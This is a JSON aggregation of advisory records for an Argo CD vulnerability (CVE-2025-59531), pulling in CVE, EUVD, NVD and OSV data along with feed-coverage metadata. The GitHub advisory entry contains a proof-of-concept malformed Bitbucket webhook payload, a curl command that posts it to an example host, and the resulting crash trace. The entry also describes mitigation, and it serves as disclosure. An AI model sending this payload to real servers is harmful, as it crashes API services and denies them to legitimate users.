{"id":"CVE-2025-59531","revision":null,"records":[{"revision":"6d5a5f099bc9462db3ccba33c779fa51","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-59531","aliases":[],"title":"Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload","description":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions 1.2.0 through 1.8.7, 2.0.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.7 and 3.0.18 are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. Without a configured webhook.bitbucketserver.secret, Argo CD's /api/webhook endpoint crashes when receiving a malformed Bitbucket Server payload (non-array repository.links.clone field). A single unauthenticated request triggers CrashLoopBackOff, and targeting all replicas causes complete API outage. This issue is fixed in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.","state":0,"publishedAt":"2025-10-01T20:49:35.428+00:00","modifiedAt":"2025-10-02T15:54:24.95+00:00","affected":[{"ecosystem":"Vendor product","name":"argo-cd","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"argoproj\",\n                    \"product\": \"argo-cd\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 1.2.0, <= 1.8.7\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 2.0.0-rc1, < 2.14.20\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 3.2.0-rc1, < 3.2.0-rc2\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 3.1.0-rc1, < 3.1.8\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 3.0.0-rc1, < 3.0.19\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/argoproj/argo-cd/security/advisories/GHSA-f9gq-prrc-hrhc","https://github.com/argoproj/argo-cd/commit/5c466a4e39802e059e75c0008ae7b7b8e842538f"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-59531","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-59531","identifiers":["CVE-2025-59531"]},"retained":false,"historicalAffected":[]},{"revision":"c0328db21dde469291ef92e4832a8a2a","observedAt":"2026-11-09T03:15:28.654+00:00","statement":{"source":"euvd","id":"EUVD-2025-31767","aliases":["CVE-2025-59531","GHSA-f9gq-prrc-hrhc"],"title":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions 1.2.0 through 1.8.7, 2.0.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.7 and 3.0.18 are vulnerable to malicious API requests which can crash the AP…","description":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions 1.2.0 through 1.8.7, 2.0.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.7 and 3.0.18 are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. Without a configured webhook.bitbucketserver.secret, Argo CD's /api/webhook endpoint crashes when receiving a malformed Bitbucket Server payload (non-array repository.links.clone field). A single unauthenticated request triggers CrashLoopBackOff, and targeting all replicas causes complete API outage. This issue is fixed in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/argoproj/argo-cd/security/advisories/GHSA-f9gq-prrc-hrhc","https://github.com/argoproj/argo-cd/commit/5c466a4e39802e059e75c0008ae7b7b8e842538f"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-31767","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 1, 2025, 8:49:35 PM","dateUpdated":"Oct 2, 2025, 3:54:24 PM"},"relatedAdvisories":[{"id":"RHSA-2025:17731","title":"Red Hat Security Advisory: Red Hat OpenShift GitOps v1.17.2 security update","vulnerabilityIds":["CVE-2025-22874","CVE-2025-47907","CVE-2025-55191","CVE-2025-59531","CVE-2025-59537","CVE-2025-59538"]},{"id":"WID-SEC-W-2025-2251","title":"Red Hat OpenShift GitOps: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2025-22874","CVE-2025-47907","CVE-2025-59531","CVE-2025-59537","CVE-2025-59538"]},{"id":"RHSA-2025:18093","title":"Red Hat Security Advisory: Red Hat OpenShift GitOps v1.18.1 security update","vulnerabilityIds":["CVE-2025-55191","CVE-2025-59531","CVE-2025-59537","CVE-2025-59538"]},{"id":"openSUSE-SU-2025:15666-1","title":"govulncheck-vulndb-0.0.20251023T162509-1.1 on GA media","vulnerabilityIds":["CVE-2024-58260","CVE-2024-58267","CVE-2025-23266","CVE-2025-23267","CVE-2025-54468","CVE-2025-55191","CVE-2025-59163","CVE-2025-59531","CVE-2025-59537","CVE-2025-59538","CVE-2025-59823","CVE-2025-59824","CVE-2025-59941","CVE-2025-59942","CVE-2025-59956","CVE-2025-61595","CVE-2025-61926"]},{"id":"RHSA-2025:17730","title":"Red Hat Security Advisory: Red Hat OpenShift GitOps v1.16.4 security update","vulnerabilityIds":["CVE-2025-22874","CVE-2025-47907","CVE-2025-55191","CVE-2025-59531","CVE-2025-59537","CVE-2025-59538"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-31767","identifiers":["EUVD-2025-31767","CVE-2025-59531","GHSA-f9gq-prrc-hrhc"]},"retained":false,"historicalAffected":[]},{"revision":"d4945eb24dfa43b2b0257935c60c4a58","observedAt":"2026-10-25T03:17:27.277+00:00","statement":{"source":"nvd","id":"CVE-2025-59531","aliases":[],"title":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions 1.2.0 through 1.8.7, 2.0.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.7 and 3.0.18 are vulnerable to malicious API requests which can crash the AP…","description":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions 1.2.0 through 1.8.7, 2.0.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.7 and 3.0.18 are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. Without a configured webhook.bitbucketserver.secret, Argo CD's /api/webhook endpoint crashes when receiving a malformed Bitbucket Server payload (non-array repository.links.clone field). A single unauthenticated request triggers CrashLoopBackOff, and targeting all replicas causes complete API outage. This issue is fixed in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.","state":0,"publishedAt":"2025-10-01T21:16:43.377+00:00","modifiedAt":"2026-10-12T15:10:00.207+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/argoproj/argo-cd/commit/5c466a4e39802e059e75c0008ae7b7b8e842538f","https://github.com/argoproj/argo-cd/security/advisories/GHSA-f9gq-prrc-hrhc"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-59531","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-703"],"productCriteria":["cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*","cpe:2.3:a:argoproj:argo_cd:3.2.0:rc1:*:*:*:*:*:*"],"sourceDates":{"published":"2025-10-01T21:16:43.377","lastModified":"2026-10-12T15:10:00.207"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-59531","identifiers":["CVE-2025-59531"]},"retained":false,"historicalAffected":[]},{"revision":"01b1cfb160094a4887f776b28f384bac","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-f9gq-prrc-hrhc","aliases":["BIT-argo-cd-2025-59531","CVE-2025-59531","GO-2025-3993"],"title":"Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload","description":"### Summary\n\nUnpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. \n\nWith the default configuration, no `webhook.bitbucketserver.secret` set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Bitbucket-Server push event whose JSON field `repository.links.clone` is anything other than an array.\n\nA single unauthenticated curl request can push the control-plane into CrashLoopBackOff; repeating the request on each replica causes a complete outage of the API.\n\n### Details\n```go\n// webhook.go (Bitbucket-Server branch in affectedRevisionInfo)\n\nfor _, l := range payload.Repository.Links[\"clone\"].([]any) {   // <- unsafe cast\n    link := l.(map[string]any)\n    ...\n}\n```\n\nIf links.clone is a string, number, object, or null, the first type assertion panics:\ninterface conversion: interface {} is string, not []interface {}\n\nThe worker goroutine created by startWorkerPool lacks a recover, so the panic terminates the whole binary.\n\n### PoC\n\nSave as payload-panic.json - note the non-array links.clone.\n\n```json\n{\n  \"eventKey\": \"repo:refs_changed\",\n  \"repository\": {\n    \"name\": \"guestbook\",\n    \"fullName\": \"APP/guestbook\",\n    \"links\": { \"clone\": \"boom\" }\n  },\n  \"changes\": [ { \"ref\": { \"id\": \"refs/heads/master\" } } ]\n}\n```\n\n```shell\ncurl -k -X POST https://argocd.example.com/api/webhook \\\n     -H 'X-Event-Key: repo:refs_changed' \\\n     -H 'Content-Type: application/json' \\\n     --data-binary @payload-panic.json\n```\n\nObserved crash (argocd-server restart):\n\n```\npanic: interface conversion: interface {} is string, not []interface {}\ngoroutine 192 [running]:\ngithub.com/argoproj/argo-cd/v3/server/webhook.affectedRevisionInfo\n    webhook.go:209 +0x1218\n...\n```\n\n### Mitigation\n\nIf you use Bitbucket Server and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.\n\nIf you do not use Bitbucket Server, you can set the webhook secret to a long, random value to effectively disable webhook handling for Bitbucket Server payloads.\n\n```diff\napiVersion: v1\nkind: Secret\nmetadata:\n  name: argocd-secret\ntype: Opaque\ndata:\n+  webhook.bitbucketserver.secret: <your base64-encoded secret here>\n```\n\n### For more information\n\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n\n### Credits\n\nDiscovered by Jakub Ciolek at AlphaSense.","state":0,"publishedAt":"2025-09-30T18:11:59+00:00","modifiedAt":"2025-10-23T20:21:58+00:00","affected":[{"ecosystem":"Go","name":"github.com/argoproj/argo-cd","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.2.0"},{"kind":"last_affected","version":"1.8.7"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.0.0-rc1"},{"kind":"fixed","version":"2.14.20"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.2.0-rc1"},{"kind":"fixed","version":"3.2.0-rc2"}]}],"versions":["3.2.0-rc1"],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.1.0-rc1"},{"kind":"fixed","version":"3.1.8"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.0.0-rc1"},{"kind":"fixed","version":"3.0.19"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/argoproj/argo-cd/security/advisories/GHSA-f9gq-prrc-hrhc","https://nvd.nist.gov/vuln/detail/CVE-2025-59531","https://github.com/argoproj/argo-cd/commit/5c466a4e39802e059e75c0008ae7b7b8e842538f","https://github.com/argoproj/argo-cd","https://pkg.go.dev/vuln/GO-2025-3993"],"sourceUrl":"https://github.com/advisories/GHSA-f9gq-prrc-hrhc","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-f9gq-prrc-hrhc","identifiers":["GHSA-f9gq-prrc-hrhc","BIT-argo-cd-2025-59531","CVE-2025-59531","GO-2025-3993"]},"retained":false,"historicalAffected":[]},{"revision":"02c23710da034248b151ee34402f3385","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2025-3993","aliases":["BIT-argo-cd-2025-59531","CVE-2025-59531","GHSA-f9gq-prrc-hrhc"],"title":"Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload in github.com/argoproj/argo-cd","description":"Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload in github.com/argoproj/argo-cd","state":0,"publishedAt":"2025-10-23T16:25:09+00:00","modifiedAt":"2026-04-20T19:00:21.450402+00:00","affected":[{"ecosystem":"Go","name":"github.com/argoproj/argo-cd","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.2.0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.14.20"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.0.0-rc1"},{"kind":"fixed","version":"3.0.19"},{"kind":"introduced","version":"3.1.0-rc1"},{"kind":"fixed","version":"3.1.8"},{"kind":"introduced","version":"3.2.0-rc1"},{"kind":"fixed","version":"3.2.0-rc2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/argoproj/argo-cd/security/advisories/GHSA-f9gq-prrc-hrhc","https://nvd.nist.gov/vuln/detail/CVE-2025-59531","https://github.com/argoproj/argo-cd/commit/5c466a4e39802e059e75c0008ae7b7b8e842538f"],"sourceUrl":"https://osv.dev/vulnerability/GO-2025-3993","license":"OSV · upstream source license applies","key":"osv:GO-2025-3993","identifiers":["GO-2025-3993","BIT-argo-cd-2025-59531","CVE-2025-59531","GHSA-f9gq-prrc-hrhc"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-10T10:21:23.1769119+00:00","complete":true,"records":1773,"lastAttemptAt":"2026-11-10T10:21:23.1769119+00:00","lastSuccessAt":"2026-11-10T10:21:23.4268898+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:23.4268987+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8859cf40d4337e24bd2f258cc7778fbad01bb24c79d057aaf34cf1dfc6f8917d-8bdcdeeb414e06ff50ed637d818ac25d52680d19f71fc0ebe3f4c4b3f836ed38","complete":true,"records":421927,"lastAttemptAt":"2026-11-10T10:21:22.8157744+00:00","lastSuccessAt":"2026-11-10T09:21:38.1064889+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:22.8157744+00:00","snapshotPublishedAt":"2026-11-10T09:20:43+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2e6a476534094233b48f2f0b6da5cf35","complete":true,"records":13689,"lastAttemptAt":"2026-11-10T10:21:50.2500014+00:00","lastSuccessAt":"2026-11-10T06:05:35.03+00:00","error":null,"lastVerifiedAt":"2026-11-10T06:05:35.03+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13742,"expectedIdentifiers":13742,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-10T10:21:23.1769119+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-10T10:21:23.1769119+00:00","lastSuccessAt":"2026-11-10T10:21:23.4276529+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:23.4276532+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b0b0499af228434598651aa5d221386e","complete":false,"records":13695,"lastAttemptAt":"2026-11-10T10:21:49.6403901+00:00","lastSuccessAt":"2026-11-10T10:21:49.637+00:00","error":"100 identifier lookups failed; latest failures include request timeout. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-10T10:21:49.637+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13642,"expectedIdentifiers":13742,"failedIdentifiers":100},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-cdffb4589856378aa42e8d1bd4a6c74e27a180d8160bf764c44715ef760f0a62","complete":true,"records":9932,"lastAttemptAt":"2026-11-10T10:21:23.1241572+00:00","lastSuccessAt":"2026-11-10T00:04:19.8260565+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:23.1241572+00:00","snapshotPublishedAt":"2026-11-09T23:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-26503967ae4379db8f374089589d6e03fb15bd31f820c9e992aaf93840c2236c","complete":true,"records":1971,"lastAttemptAt":"2026-11-10T10:21:22.8858542+00:00","lastSuccessAt":"2026-11-09T21:02:20.472473+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:22.8858542+00:00","snapshotPublishedAt":"2026-11-09T20:18:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-94169eec81ea3989aa551092397ff34ae53c104b4a6ce646e1524452e4ab2a39","complete":true,"records":3065,"lastAttemptAt":"2026-11-10T10:21:23.1397622+00:00","lastSuccessAt":"2026-11-10T08:04:45.5923716+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:23.1397622+00:00","snapshotPublishedAt":"2026-11-10T06:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-4331051b0b2d4ccdbdca3aa196b0be3818a465064a4b18dde4cf39c2250eb490","complete":true,"records":231599,"lastAttemptAt":"2026-11-10T10:21:23.0142877+00:00","lastSuccessAt":"2026-11-10T08:04:37.1757322+00:00","error":null,"lastVerifiedAt":"2026-11-10T10:21:23.0142877+00:00","snapshotPublishedAt":"2026-11-10T07:33:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}